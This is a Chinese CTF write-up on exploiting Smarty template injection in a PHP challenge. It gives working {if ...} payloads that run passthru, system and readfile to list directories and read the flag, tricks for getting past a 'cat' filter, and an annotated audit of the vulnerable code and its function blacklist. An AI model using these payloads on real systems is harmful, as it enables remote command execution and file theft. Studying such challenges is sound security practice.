pass a parameter and maybe the flag file's filename is random :>
传递一个参数,可能标记文件的文件名是随机的:
于是传一下参,在原网页后面加上/?a=1,发现网页出现了变化
3.传入参数,一般情况下是文件包含,或者命令执行,而这道题目比较新颖,使用的是php模板注入
4.根据测试2*4=8,确定是smarty
模板注入
测试phpinfo()
函数
http://114.67.246.176:18387/?a={if phpinfo()}{/if}
5.真的是百密一疏,过滤了好多的函数,好在没有把passthru()函数
过滤
http://114.67.246.176:18387/?a={if passthru("ls /")}{/if}
6.没有发现flag,但是发现_12016
文件,直接读一波,cat被过滤了,我是用的是more
http://114.67.246.176:18387/?a={if passthru("more /_12016 ")}{/if}
得到flag
二、知识点
1. 常用payload
smary中的{if}标签中可以执行的php语句
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if readfile('/flag')}{/if}
{if show_source('/flag')}{/if}
{if system('cat ../../../../flag')}{/if}
2.passthru()函数
(PHP 4, PHP 5, PHP 7, PHP 8)passthru
— 执行外部程序并且显示原始输出
语法:
passthru(string $command, int &$return_var = ?): void
同 exec() 函数类似, passthru() 函数 也是用来执行外部命令(command)的。 当所执行的 Unix 命令输出二进制数据, 并且需要直接传送到浏览器的时候, 需要用此函数来替代 exec() 或 system() 函数。 常用来执行诸如 pbmplus 之类的可以直接输出图像流的命令。 通过设置 Content-type 为 image/gif, 然后调用 pbmplus 程序输出 gif 文件, 就可以从 PHP 脚本中直接输出图像到浏览器。
3.cat绕过
可以使用其他函数如:less、more、tac
4.system|readfile|gz|exec|eval|cat|assert|file|fgets
-
system: PHP中的
system
函数用于执行命令行命令,并可返回命令的输出。如果允许用户输入传递给system
,可能会允许攻击者执行任意命令。 -
readfile:
readfile
函数用于输出一个文件的内容。如果用户可以控制该函数的参数,他们可能会读取服务器上的敏感文件。 -
gz: 这可能指的是与
gz
相关的函数,如gzopen
、gzread
等,用于处理GZIP压缩文件。如果不当使用,可能会引发安全问题。 -
exec: 类似于
system
,exec
函数用于执行外部程序,并且可以提供更多的输出控制。这同样可以被用来执行恶意命令。 -
eval:
eval
函数执行字符串作为PHP代码。这是极其危险的,因为它允许执行任意PHP代码。 -
cat: 在Unix/Linux系统中,
cat
命令用于连接文件并打印到标准输出设备。在PHP中,没有内置的cat
函数,但攻击者可能会尝试利用它来读取文件。 -
assert: PHP中的
assert
函数用于评估一个表达式,并在表达式结果为FALSE时终止脚本执行。然而,如果assert
被用来执行外部代码,它可能会成为一个安全漏洞。 -
file: 可能指的是
file_get_contents
函数,它用于读取文件或URL内容。如果用户可以控制这个函数的参数,他们可能会读取服务器上的敏感文件。 -
fgets:
fgets
函数用于从文件指针中读取一行。如果用户可以控制文件指针的来源,他们可能会读取未授权的内容。
代码审计:
pass a parameter and maybe the flag file's filename is random :> <?php
include('./libs/Smarty.class.php'); #文件包含
echo "pass a parameter and maybe the flag file's filename is random :>"; #无需审计
$smarty = new Smarty(); #smarty引入,实例化 Smarty 模板引擎的一个新对象
if($_GET){
highlight_file('index.php'); #高亮文字
foreach ($_GET AS $key => $value) #foreach方法,将get的值传给value
#foreach:PHP中的一个循环控制结构,用于遍历数组中的每个元素。
#$_GET:一个超全局数组,包含了所有通过GET请求方法(即在URL中附加的参数)传递给当前脚本的参数。
#AS:关键字,用于在foreach循环中指定数组元素的键($key)和值($value)。
#$key:循环中数组元素的键(参数名)。
#$value:循环中数组元素的值(参数值
{
print $key."\n";
if(preg_match("/flag|\/flag/i", $value)){ #对value的值进行正则匹配
$smarty->display('./template.html');
# $smarty:这是之前通过 new Smarty(); 创建的 Smarty 对象的实例。
# ->:在 PHP 中,这个符号用来调用对象的方法或访问对象的属性。
# display:这是 Smarty 对象的一个方法,用于将指定的模板文件呈现(渲染)为输出。
# './template.html':这是传递给 display 方法的参数,指定了模板文件的路径。这里的 ./ 表示当前目录,template.html 是模板文件的名称。
}elseif(preg_match("/system|readfile|gz|exec|eval|cat|assert|file|fgets/i", $value)){ #对value的值进行正则匹配
$smarty->display('./template.html');
}else{
$smarty->display("eval:".$value);
}
}
}
?>
原文链接:https://blog.csdn.net/m_de_g/article/details/120380488
https://baijiahao.baidu.com/s?id=1698341051395357077&wfr=spider&for=pc